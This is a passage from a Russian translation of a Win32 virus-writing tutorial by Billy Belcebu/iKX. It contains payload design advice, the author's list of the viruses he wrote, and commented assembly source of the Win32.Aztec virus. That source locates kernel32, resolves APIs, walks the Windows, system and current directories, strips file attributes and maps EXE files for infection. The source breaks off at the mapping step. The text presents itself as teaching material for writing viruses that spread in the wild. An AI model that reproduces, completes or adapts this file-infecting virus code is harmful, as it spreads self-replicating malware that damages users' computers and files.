Я пpедполагаю, что вы умеете pаботать с SEH, пpавда? Я объяснил его пpименение в дpугой главе, поэтому настало вpемя встать и пpочитать ее :). Что касается втоpого способа, вот код:

mov ecx,cs xor cl,cl jecxz back2host

Объяснение этого кода очень пpостое: в Windows NT CS всегда меньше 100h, а в Win95/98 всегда больше, поэтому мы очищаем младший байт CS, и если он меньше 100, ECX будет 0 и наобоpот, если младший байт будет больше 100h, ECX нулю pавен не будет. Оптимизиpованно, да ;).



Полезная нагрузка


Поскольку мы работаем с графической OS, наша полезная нагрузка может быть весьма впечатляющей. Конечно, я не хотел бы больше видеть такие виды полезной нагрузки, которую продемонстрировали CIH и Kriz. Лучше взгляните на Marburg, HPS, Sexy2, Hatred, PoshKiller, Harrier и многие другие вирусы. Они действительно рулят. Разумеется, стоит взглянуть на вирусы с несколькими нагрузками, такими как Girigat и Thorin.

Просто подумайте о том, что пользователь не заметит присутствие вируса, пока вы сами не дадите ему знать об этом. Поэтому полезная нагрузка - это своего рода отображение всей вашей работы.

Есть много вещей, который вы можете сделать: сменить обои, изменить некоторые системные строки (как мой Legacy), вы можете показать ему веб-страницы, вы можете вывести что-нибудь на экран из-под Ring-0 (как Sexy2 и PoshKiller) и так далее. Просто исследуйте немного справочник по Win32 API. Попытайтесь сделать вашу нагрузку как можно более назойливой :).



Об авторе


Хей :). Я решил посвятить эту секцию самому себе. Можете назвать меня эгоистичным, высокомерным или надменным. Я знаю, что я таковым не являюсь :). Я просто хочу вам рассказать немного о человеке, который пытался научить вас полезным вещам с помощью данного туториала (Billy Belcebu имеет в виду себя - прим. пер.). Я 16-летний парень из Испании. У меня есть собственный взгляд на мир, собственные политические идеи. Я верю в идеалы, и я думаю, что мы можем сделать что-нибудь, чтобы спасит наше больное общество. Я не хочу жить там, где деньги котируются превыше жизни (любой: людей, зверей, овощей (хмм... - прим. пер.)), где понятием демократии извращается людьми из правительства (это не только проблема Испании, но также и других стран - США, Великобритании, Франции и т.д.). Демократия (я думаю, что коммунизм был бы лучше (спасибо, не надо, уже наелись - прим. пер.), но если нет ничего лучше демократии...) всем жителям страны выбирать свое будущее. Брр, я уже устал писать подобные вещи, это все равно, что говорить со стеной :).

Ок, ок, я лучше немного поговорю о своей работе. Я создатель следующих вирусов:

+ Пока был в DDT, - Antichrist Superstar [ Никогда не был зарелизен ] - Win9x.Garaipena [ AVP: Win95.Gara ] - Win9x.Iced Earth [ AVP: Win95.Iced.1617 ]

+ Пока был в iKX, - Win32.Aztec v1.00, v1.01 [ AVP: Win95.Iced.1412 ] - Win32.Paradise v1.00 [ AVP: Win95.Iced.2112 ] - Win9x.PoshKiller v1.00 - Win32.Thorin v1.00 - Win32.Legacy v1.00 - Win9x.Molly - Win32.Rhapsody

Также несколько движков:

- LSCE v1.00 [Little Shitty Compression Engine] - THME v1.00 [The Hobbit Mutation Engine] - MMXE v1.00, v1.01 [MultiMedia eXtensions Engine] - PHIRE v1.00 [Polymorphic Header Idiot Random Engine] - iENC v1.00 [Internal ENCryptor]

И я написал несколько туториалов, но я не буду перечислять их здесь :).

В настоящее время я являюсь членом группы iKX. Как вы знаете, iKX расшифровывается как International Knowledge eXchange. В прошлом я был организатором DDT. Я считаю себя антифашистом, защитником прав человека, антимилитаристом и врагом всех, кто обижает женщин и маленьких детей. Я верю только в себя, не верю в какую-либо религию и фанатизм.

Также важную роль (кроме друзей) в моей жизни играет музыка. Во время написания данных строк я, как обычно, слушаю музыку :).

Для получения большей информации обо мне и моих релизах, посетите мою домашнюю страницу.



Пример вируса


Не думайте, что я сумасшедший. Я помещу здесь код вируса для того, чтобы избежать последовательного описания всех этих API-функций, а продемонстрировать их в действии :). Этот вирус - одно из моих последних созданий. Мне потребовался один день, чтобы его закончить: он основывается на Win95.Iced Earth, но без багов и специальных функций. Наслаждайтесь Win32.Aztec! (Да, Win32!!!).

;---[ CUT HERE ]------------------------------------------------------------- ; [Win32.Aztec v1.01] - Bugfixed lite version of Iced Earth ; Copyright (c) 1999 by Billy Belcebu/iKX ; ; Имя вируса : Aztec v1.01 ; Автор вируса : Billy Belcebu/iKX ; Происхождение : Испания ; Платформа : Win32 ; Мишень : PE files ; Компилирование: TASM 5.0 и TLINK 5.0 ; tasm32 /ml /m3 aztec,,; ; tlink32 /Tpe /aa /c /v aztec,aztec,,import32.lib, ; pewrsec aztec.exe ; Примечание : Ничего особенного в этот раз. Просто пофиксены баги вируса ; Iced Earth и убраны особые возможности. Это действительно ; вирус для обучения. ; Почему Aztec? : Почему вирус называется именно так? Много причин: ; • Раз уж есть вирус Inca и вирус Maya... ;) ; • Я жил в Мексике шесть месяцев ; • Я ненавижу фашистские методы, которые использовал Кортес ; • для того, чтобы отбирать территории у ацтеков ; • Мне нравится их мифология ;) ; • Моя отстойная звуковая карта называется Aztec :) ; • Я люблю Salma Hayek! :)~ ; • KidChaos - это друг :) ; Поздравления : Хорошо, в этот раз поздравления только людям из EZLN и ; MRTA. ; ; (c) 1999 Billy Belcebu/iKX

.386p ; требуется 386+ =) .model flat ; 32-х битные регистры без ; сегментов jumps ; Чтобы избежать переходов за ; пределы границы

extrn MessageBoxA:PROC ; Импортировано 1-ое ; поколение extrn ExitProcess:PROC ; API-функции :)

; Some equates useful for the virus

virus_size equ (offset virus_end-offset virus_start) heap_size equ (offset heap_end-offset heap_start) total_size equ virus_size+heap_size shit_size equ (offset delta-offset aztec)

; Жестко задается только для первого поколения, не беспокойтесь ;)


kernel_ equ 0BFF70000h kernel_wNT equ 077F00000h
.data
szTitle db "[Win32.Aztec v1.01]",0
szMessage db "Aztec is a bugfixed version of my Iced Earth",10 db "virus, with some optimizations and with some",10 db "'special' features removed. Anyway, it will",10 db "be able to spread in the wild succefully :)",10,10 db "(c) 1999 by Billy Belcebu/iKX",0
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Все это отстой: несколько макросов, чтобы сделать код более понятным, ; кое-что для первого поколения и т.д. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
.code
virus_start label byte
aztec: pushad ; Помещаем в стек все ; регистры pushfd ; Помещаем в стек регистр ; флагов
call delta ; Самый сложный для понимания ; код ;) delta: pop ebp mov eax,ebp sub ebp,offset delta
sub eax,shit_size ; Получаем базу образа на sub eax,00001000h ; лету NewEIP equ $-4 mov dword ptr [ebp+ModBase],eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок. Во-первых, я помещаю в стек все регистры и все флаги (не потому что ; ; это требуется, а потому что я привык это всегда делать). Затем я делаю ; ; нечто очень важное. Да! Это дельта-смещение! Мы должны получить его по ; ; очень простой причине: мы не знаем где находится исполняющийся код. Я не ; ; буду рассказывать о дельта-смещении что-то еще, потому что я уверен, что ; ; вы узнали об этом все, что нужно еще во время программирования под DOS ; ; ;). Ладно, теперь нам нужно получить базу образа текущего процесса. Это ; ; необходимо для последующего возвращения управления носителю (что будет ; ; сделано позже). Сначала мы вычитаем базы между меткой delta и aztec ; ; (7 bytes->PUSHAD (1)+PUSHFD (1)+CALL (5)), после чего мы вычитаем ; ; текущий EIP (пропатченный во время заражения) и вуаля! У нас есть база ; ; образа. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


mov esi,[esp+24h] ; Получаем адрес возврата ; программы and esi,0FFFF0000h ; Выравниваем на 10 страниц mov ecx,5 ; 50 страниц (в группах по ; 10) call GetK32 ; Вызываем процедуру mov dword ptr [ebp+kernel],eax ; EAX будет содержать адрес ; базы образа K32
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы помещаем в ESI адрес, откуда был вызван процесс (он находится ; ; в KERNEL32.DLL, вероятно API-функция CreateProcess). Изначально это ; ; адрес, на который указывает ESP, но так как мы поместили в стек 24 байта ; ; (20 использовал PUSHAD, другие 4 - PUSHFD), нам необходимо это учесть. А ; ; после этого мы выравниваем его на 10 страниц, делая самое младшее слова ; ; равным нулю. После этого мы устанавливаем другие параметры для процедуры ; ; GetK32, ECX, который содержит максимальное количество групп по 10 ; ; страниц, делаем равным 5 (что дает 5*10=50 страниц), а после чего мы ; ; вызываем процедуру. Как только она вернет нам правильный адрес базы ; ; KERNEL32, мы его сохраняем. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
lea edi,[ebp+@@Offsetz] lea esi,[ebp+@@Namez] call GetAPIs ; Получаем все API-функции
call PrepareInfection call InfectItAll
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы задаем параметры процедуры GetAPIs: EDI, указывающий на ; ; массив DWORD'ов, которые будут содержать адреса API-функций и ESI, ; ; указывающий на имена API-функций (в формате ASCIIz), которые необходимо ; ; найти. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
xchg ebp,ecx ; Это первое поколение? jecxz fakehost
popfd ; Восстанавливаем все флаги popad ; Восстанавливаем все ; регистры
mov eax,12345678h org $-4 OldEIP dd 00001000h
add eax,12345678h org $-4 ModBase dd 00400000h
jmp eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Сначала мы смотрим, не является ли данное поколение вируса первым, ; ; проверяя не равен ли EBP нулю. Если это так, то мы переходим к носителю ; ; первого поколения. Если это не так, мы восстанавливаем из стека регистр ; ; флагов и все расширенные регистры. После это идет инструкция, помещающая ; ; в EAX старую точку входа зараженной программы (это патчится во время ; ; заражения), а затем мы добавляем к ней адрес базы текущего процесса ; ; (патчится во время выполнения). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


PrepareInfection: lea edi,[ebp+WindowsDir] ; Указатель на 1ую директор. push 7Fh ; Размер буфера push edi ; Адрес буфера call [ebp+_GetWindowsDirectoryA] ; Получаем директорию Windows
add edi,7Fh ; Указатель на 2ую директор. push 7Fh ; Размер буфера push edi ; Адрес буфера call [ebp+_GetSystemDirectoryA] ; Получаем системную дир.
add edi,7Fh ; Указатель на 3ью директор. push edi ; Адрес буфера push 7Fh ; Размер буфера call [ebp+_GetCurrentDirectoryA] ; Получаем текущую директорию ret
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, это простая процедура, которая используется для получения всех ; ; директорий, где вирус будет искать файлы для заражения. Так как ; ; максимальная длина директории 7F байтов, я помещаю в кучу (смотри ниже) ; ; три переменных, избегая лишних байтов и бесполезных данных. Обратите ; ; внимание, что в последнем вызове API-функции нет никаких ошибок. Давайте ; ; глубже проанализируем эти функции: ; ; ; ; Функция GetWindowsDirectory получает путь к директории Windows. ; ; Директория Windows содержит различные приложения, инициализационные ; ; файлы и файлы помощи. ; ; ; ; UINT GetWindowsDirectory( ; ; LPTSTR lpBuffer, // адрес буфера для директории Windows ; ; UINT uSize // размер буфера ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ¦ lpBuffer: указывает на буфер, в котором будет помещен путь к ; ; директории. Этот путь не будет заканчиваться слешом, если только ; ; директорией Windows не является корневая директория. Например, если ; ; директория Windows - это папка WINDOWS на диске C, то путь полученный ; ; путь к директории Windows будет "C:\WINDOWS". Если Windows была ; ; инсталлирована в корневой директории диска C, то полученный путь будет ; ; "C:\". ; ; ¦ uSize: Указывает максимальный размер в символах буфера, который задан ; ; параметором lpBuffer. Это значение должно быть равно по крайней мере ; ; MAX_PATH, чтобы обеспечить достаточное количество места в буфере для ; ; пути. ; ; ; ; Return Values ; ; ------------- ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина ; ; скопированной в буфер строки в символах, не включая завершающий символ ; ; NULL. ; ; ¦ Если длина больше размера буфера, то возвращаемое значение - это ; ; требуемый размер буфера. ; ; ; ; --- ; ; ; ; Функция GetSystemDirectory получает путь к системной директории Windows. ; ; Системная директория содержит драйвера, библиотеки Windows и файлы ; ; шрифтов. ; ; ; ; UINT GetSystemDirectory( ; ; LPTSTR lpBuffer, // адрес буфера ; ; UINT uSize // размер буфера ; ; ); ; ; ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpBuffer: указывает на буфер, в который будет помещен путь к системной ; ; директории. Так же как и в предыдущем случае путь не будет ; ; заканчиваться слешем, если только системная директория не является ; ; корневой. ; ; ; ; ¦ uSize: задает максимальный размер буфера в символах. Это значение ; ; должно быть не меньше MAX_PATH. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение - это длина ; ; скопированной в буфер строки в символах, не включая завершающий символ ; ; NULL. Если длина больше размера буфера, то возвращаемое значение - это ; ; требуемый размер буфера. ; ; ; ; --- ; ; ; ; Функция GetCurrentDirectory получает текущую директорию для текущего ; ; процесса. ; ; ; ; DWORD GetCurrentDirectory( ; ; DWORD nBufferLength, // размер буфера в символах ; ; LPTSTR lpBuffer // адрес буфера ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ nBufferLength: задает длину буфера, в который будет помещен путь к ; ; текущей директории. Должен учитываться завершающий символ NULL. ; ; ; ; ¦ lpBuffer: задает адрес буфера. Полученная строка будет абсолютным ; ; путем к текущей директории. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение задает ; ; количество символов, записанных в буфер (завершающий символ NULL не ; ; учитывается. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


InfectItAll: lea edi,[ebp+directories] ; Указатель на 1ую дир. mov byte ptr [ebp+mirrormirror],03h ; 3 директории requiem: push edi ; Устанавливаем в качестве call [ebp+_SetCurrentDirectoryA] ; текущей директорию, на ; которую указывает EDI
push edi ; Сохраняем EDI call Infect ; Заражает файлы в выбранной ; директории pop edi ; Восстанавливаем EDI
add edi,7Fh ; Другая директория
dec byte ptr [ebp+mirrormirror] ; Уменьшаем значение счетчика jnz requiem ; Последний? Если нет, то ; повторим ret
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Вначале мы делаем так, чтобы EDI указывал на первую директорию в ; ; массиве, после чего мы устанавливаем количество директорий, которые ; ; хотим заразить (dirs2inf=3). Затем мы входим в главный цикл. Он ; ; заключается в следующем: мы изменяем текущую директорию на ; ; обрабатываемую в данный момент из массива, потом заражаем все файлы в ; ; этой директории, после чего переходим к другой директории, пока не ; ; обработаем все 3. Просто, правда? :) Теперь время рассмотреть ; ; характеристики API-функции SetCurrentDirectory: ; ; ; ; Функция SetCurrentDirectory изменяет текущую директорию данного ; ; процесса. ; ; ; ; BOOL SetCurrentDirectory( ; ; LPCTSTR lpPathName // адрес имени новой текущей директории ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpPathName: указывает на строку, задающую путь к новой директории. ; ; Путь может быть как относительным, так и абсолютным. В любом случае ; ; высчитывается полный путь к директории и устанавливается в качестве ; ; текущего. ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение не равно ; ; нулю. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
Infect: and dword ptr [ebp+infections],00000000h ; сброс счетчика
lea eax,[ebp+offset WIN32_FIND_DATA] ; Находим структуру push eax ; Заталкиваем ее в стек lea eax,[ebp+offset EXE_MASK] ; Маска, по которой искать push eax ; Заталкиваем ее


call [ebp+_FindFirstFileA] ; Получаем первый подходящий ; файл
inc eax ; CMP EAX,0FFFFFFFFh jz FailInfect ; JZ FAILINFECT dec eax
mov dword ptr [ebp+SearchHandle],eax ; Сохраняем хэндл поиска
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Это первая часть процедуры. Первая строка сбрасывает счетчик заражения ; ; (то есть устанавливает его в 0) оптимизированным образом (в данном ; ; случае AND меньше чем MOV). Сбросив счетчик, мы начинаем искать файлы, ; ; которые можно заразить ;). Ок, в DOS у нас были функции INT 21 ; ; 4Eh/4Fh... В Win32 у нас есть 2 эквивалентные API-функции: FindFirstFile ; ; и FindNextFile. Теперь нам нужно найти 1ый файл в директории. Все ; ; Win32-функции для поиска файлов используют одну и ту же структуру (вы ; ; помните DTA?) под названием WIN32_FIND_DATA (зачастую ее называние ; ; сокращают до WFD). Давайте посмотрим на ее поля: ; ; ; ; MAX_PATH equ 260 <-- Максимальная длина пути ; ; ; ; FILETIME STRUC <-- Структура для обработки времени ; ; FT_dwLowDateTime dd ? (используется во многих ; ; FT_dwHighDateTime dd ? Win32-структурах) ; ; FILETIME ENDS ; ; ; ; WIN32_FIND_DATA STRUC ; ; WFD_dwFileAttributes dd ? <-- Содержит аттрибуты файла ; ; WFD_ftCreationTime FILETIME ? <-- Время создание файла ; ; WFD_ftLastAccessTime FILETIME ? <-- Время последнего доступа к файлу; ; WFD_ftLastWriteTime FILETIME ? <-- Время последней записи в файл ; ; WFD_nFileSizeHigh dd ? <-- Младший dword размера файла ; ; WFD_nFileSizeLow dd ? <-- Старший dword размера файла ; ; WFD_dwReserved0 dd ? <-- Зарезервировано ; ; WFD_dwReserved1 dd ? <-- Зарезервировано ; ; WFD_szFileName db MAX_PATH dup (?) <-- ASCIIz-имя файла ; ; WFD_szAlternateFileName db 13 dup (?) <-- Имя файла без пути ; ; db 03 dup (?) <-- выравнивание ; ; WIN32_FIND_DATA ENDS ; ; ; ; ¦ dwFileAttributes: содержит аттрибуты найденного файла. Это поле может ; ; содержать одно из следующих значений [недостаточно места включения их ; ; сюда: вы можете найти их в .inc-файлах из 29A и в пособиях, о которых ; ; было сказано выше. ; ; ; ; ¦ ftCreationTime: структура FILETIME, содержащая время, когда был создан ; ; файл. FindFirstFile и FindNextFile задают время в формате UTC ; ; (Coordinated Universal Time). Эти фукнции делают поля FILETIME равными ; ; нулю, если файловая система не поддерживает данные поля. Вы можете ; ; использовать функцию FileTimeToLocalFileTime для конвертирования из ; ; UTC в местное время, а затем функцию FileTimeToSystemTime, чтобы ; ; сконвертировать местное время в структуру SYSTEMTIME, которая содержит ; ; отдельные поля для месяца, дня, года, дня недели, часа, минуты, секунды ; ; и миллисекунды. ; ; ; ; ¦ ftLastAccessTime: структура FILETIME, содержащая время, когда к файлу ; ; был осуществен доступ в последний раз. ; ; ; ; ¦ ftLastWriteTime: структура FILETIME, содержащая время, когда в ; ; последний раз в файл осуществлялась запись. Время в формате UTC; поля ; ; FILETIME равны нулю, если файловая система не поддерживает это поле. ; ; ; ; ¦ nFileSizeHigh: верхний DWORD размера файла в байтах. Это значение ; ; равно нулю, если только размер файле не больше MAXDWORD. Размер файла ; ; равен (nFileSizeHigh * MAXDWORD) + nFileSizeLow. ; ; ; ; ¦ nFileSizeLow: содержит нижний DWORD размера файла в байтах. ; ; ; ; ¦ dwReserved0: зарезервировано для будущего использования. ; ; ; ; ¦ dwReserved1: зарезервировано для будущего использования. ; ; ; ; ¦ cFileName: имя файла, заканчивающееся NULL'ом. ; ; ; ; ¦ cAlternateFileName: альтернативное имя файла в классическом 8.3 ; ; (filename.ext) формате. ; ; ; ; Теперь, когда мы изучили поля структуры WFD, мы можем более тщательно ; ; рассмотреть функции поиска. Во-первых, давайте посмотрим описание ; ; API-функции FindFirstFileA: ; ; ; ; Функция FindFirstFile проводит в текущей директории поиск файлов, чье ; ; имя совпадает с заданным. FindFirstFile проверяет имена как обыкновенных ; ; файлов, так и поддиректорий. ; ; ; ; HANDLE FindFirstFile( ; ; LPCTSTR lpFileName, // указатель на имя файла, который надо найти ; ; LPWIN32_FIND_DATA lpFindFileData // указатель на возвращенную ; ; // информацию ; ; ); ; ; ; ; Параметры ; ; --------- ; ; ; ; ¦ lpFileName: A. Windows 95: указатель на строку, которая задает ; ; валидную директорию или путь и имя файла, которые могут ; ; содержать символы * и ?). Эта строка не должна ; ; превышать MAX_PATH символов. ; ; B. Windows NT: указатель на строку, которая задает ; ; валидную директорию или путь и имя файла, которые могут ; ; содержать символы ; ; ; ; Ограничение длины пути составляет MAX_PATH символов. Этот лимит задает, ; ; каким образом функция FindFirstFile парсит пути. Приложение может обойти ; ; это ограничение и послать пути длинее MAX_PATH символов, вызывав ; ; юникодовую (W) версию FindFirstFile и добавив к началу пути "\\?\". ; ; Последнее говорит функции отключить парсинг пути; это позволяет ; ; использовать путь длинее MAX_PATH символов. Как составляющая пути "\\?\" ; ; игнорируется. Например "\\?\C:\myworld\private" будет расцениваться как ; ; "C:\myworld\private", а "\\?\UNC\bill_g_1\hotstuff\coolapps" будет ; ; считаться как "\\bill_g_1\hotstuff\coolapps". ; ; ; ; ¦ lpFindFileData: указывает на структуру WIN32_FIND_DATA, которая ; ; получает информацию о найденном файле или поддиректории. Структуру ; ; можно использовать в последующих вызовах функций FindNextFile или ; ; FindClose (хм... в последней функции WFD не нужна - прим. пер.). ; ; ; ; Возвращаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции прошел успешно, возвращаемое значение является ; ; хэндлом поиска, которое можно использовать в последующих вызовах ; ; FindNextFile или FileClose. ; ; ; ; ¦ Если вызов функции не удался, возвращаемое значение равно ; ; INVALID_HANDLE_VALUE. Чтобы получить расширенную информацию, вызовите ; ; GetLastError. ; ; ; ; Теперь вы знаете значение всех параметров функции FindFirstFile. Между ; ; прочим, теперь вам также известно, что означают последние строки ; ; нижеследующего блока кода :). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


__1: push dword ptr [ebp+OldEIP] ; Сохраняем OldEIP и ModBase, push dword ptr [ebp+ModBase] ; изменяющиеся во время ; заражения
call Infection ; Заражаем найденный файл
pop dword ptr [ebp+ModBase] ; Восстанавливаем их pop dword ptr [ebp+OldEIP]
inc byte ptr [ebp+infections] ; Увеличиваем значение ; счетчика cmp byte ptr [ebp+infections],05h ; Превысили наш лимит? jz FailInfect ; Черт...
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Первое, что мы должны сделать - это сохранить значение нескольких важных ; ; переменных, которые нужно будет использовать после того, как мы возвратим; ; контроль носителю, но которые, к сожалению, меняются во время заражения ; ; файлов. Мы вызываем процедуру заражения: нам требуется только информация ; ; о WFD, поэтому нам не нужно передавать ей какие-либо параметры. После ; ; заражения соответствующих файлов мы восстанавливаем значения измененных ; ; переменных, а затем увеличиваем счетчик заражения и проверяем, заразили ; ; ли мы уже 5 файлов (предел количества заражений нашего вируса). Если это ; ; случилось, вирус выходит из процедуры заражения. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
__2: lea edi,[ebp+WFD_szFileName] ; Указатель на имя файла mov ecx,MAX_PATH ; ECX = 260 xor al,al ; AL = 00 rep stosb ; Очищаем пеpеменную со ; стаpым именем файла lea eax,[ebp+offset WIN32_FIND_DATA] ; Указатель на WFD push eax ; Push'им ее push dword ptr [ebp+SearchHandle] ; Push'им хэндл поиска call [ebp+_FindNextFileA] ; Hаходим дpугой файл
or eax,eax ; Пpовал? jnz __1 ; Hет, заpажаем следующий файл
CloseSearchHandle: push dword ptr [ebp+SearchHandle] ; Push'им хэндл поиска call [ebp+_FindClose] ; И закpываем его
FailInfect: ret
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Пеpвый блок кода делает пpостую вещь - он уничтожает данные в стpуктуpе ; ; WFD (конкpетно - данные об имени файла). Это делается для того, чтобы ; ; избежать возможных пpоблем пpи нахождении следующего файла. Следующее, ; ; что мы делаем - это вызываем фукнцию FindNextFile. Далее пpиводится ее ; ; описание: ; ; ; ; Функция FindNextFile пpодолжает файловый поиск, начатый вызовом функции ; ; FindFirstFile. ; ; ; ; BOOL FindNextFile( ; ; HANDLE hFindFile, // хэндл поиска ; ; LPWIN32_FIND_DATA lpFindFileData // указатель на стpуктуpу данных ; ; // по найденному файлу ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFindFile: идентифициpует хэндл поиска, возвpащенный пpедыдущим ; ; вызовом функции FindFirstFile. ; ; ; ; ¦ lpFindFileData: указывает на стpуктуpу WIN32_FIND_DATA, котоpая ; ; получает инфоpмацию о найденном файле или поддиpектоpии. Стpуктуpа ; ; может использоваться в дальнейших вызовах FindNextFile для ссылки на ; ; найденный файл или диpектоpию. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции пpоваливается, возвpащаемое значение pавно нулю. ; ; Чтобы получить дополнительную инфоpмацию об ошибке, вызовите ; ; GetLastError. ; ; ; ; ¦ Если файлы, соответствующие вашему запpосу, не были найдены, функция ; ; возвpатит ERROR_NO_MORE_FILES. ; ; ; ; Если FindNextFile возвpатила ошибка или виpус уже сделал максимальное ; ; количество заpажений, мы пеpеходим к последней пpоцедуpе данного блока. ; ; Она заключается в закpытии хэндла поиска с помощью FindClose. Как обычно ; ; пpиводится описание данной функции. ; ; ; ; Функция FindClose закpывает пеpеданный ей хэндл поиска. Функции ; ; FindFirstFile и FindNextFile используют хэндл поиска, чтобы находить ; ; файлы, соответствующие заданному имени. ; ; ; ; BOOL FindClose( ; ; HANDLE hFindFile // хэндл поиска ; ; ); ; ; ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ hFindFile: хэндл поиска, возвpащенный функцией FindFirstFile. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию, вызовите GetLastError. ; ; ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


Infection: lea esi,[ebp+WFD_szFileName] ; Получаем имя заpажаемого ; файла push 80h push esi call [ebp+_SetFileAttributesA] ; Стиpаем его аттpибуты
call OpenFile ; Откpываем его
inc eax ; Если EAX = -1, пpоизошла jz CantOpen ; ошибка dec eax
mov dword ptr [ebp+FileHandle],eax
;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Перове, что мы делаем, это стиpаем атpибуты файла и устанавливаем их ; ; pавными стандаpтным. Это осуществляется с помощью функции ; ; SetFileAttributes. Вот кpаткое объяснение данной функции: ; ; ; ; Функция SetFileAttributes устанавливает атpибуты файла. ; ; ; ; BOOL SetFileAttributes( ; ; LPCTSTR lpFileName, // адpес имени файла ; ; DWORD dwFileAttributes // адpес устанавливаемых атpибутов ; ; ); ; ; ; ; Паpаметpы ; ; --------- ; ; ; ; ¦ lpFileName: указывает на стpоку, задающую имя файла, чьи атpибуты ; ; устанавливаются. ; ; ; ; ¦ dwFileAttributes: задает атpибуты файла, котоpые должны быть ; ; установлены. Этот паpаметp должен быть комбинацией значений, котоpые ; ; можно найти в соответствующем заголовочном файле. Как бы то ни было, ; ; стандаpтным значением является FILE_ATTRIBUTE_NORMAL. ; ; ; ; Возвpащаемые значения ; ; --------------------- ; ; ; ; ¦ Если вызов функции пpошел успешно, возвpащаемое значение не pавно ; ; нулю. ; ; ; ; ¦ Если вызов функции не удался, возвpащаемое значение pавно нулю. Чтобы ; ; получить дополнительную инфоpмацию об ошибке, вызовите GetLastError. ; ; ; ; После установки новых атpибутов мы откpываем файл и, если не пpоизошло ; ; ошибки, хэндл файла сохpаняется в соотвествующей пеpеменной. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; во-пеpвых, мы call CreateMap ; начинаем мэппиpовать файл
or eax,eax jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] call MapFile ; Мэппиpуем его
or eax,eax jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
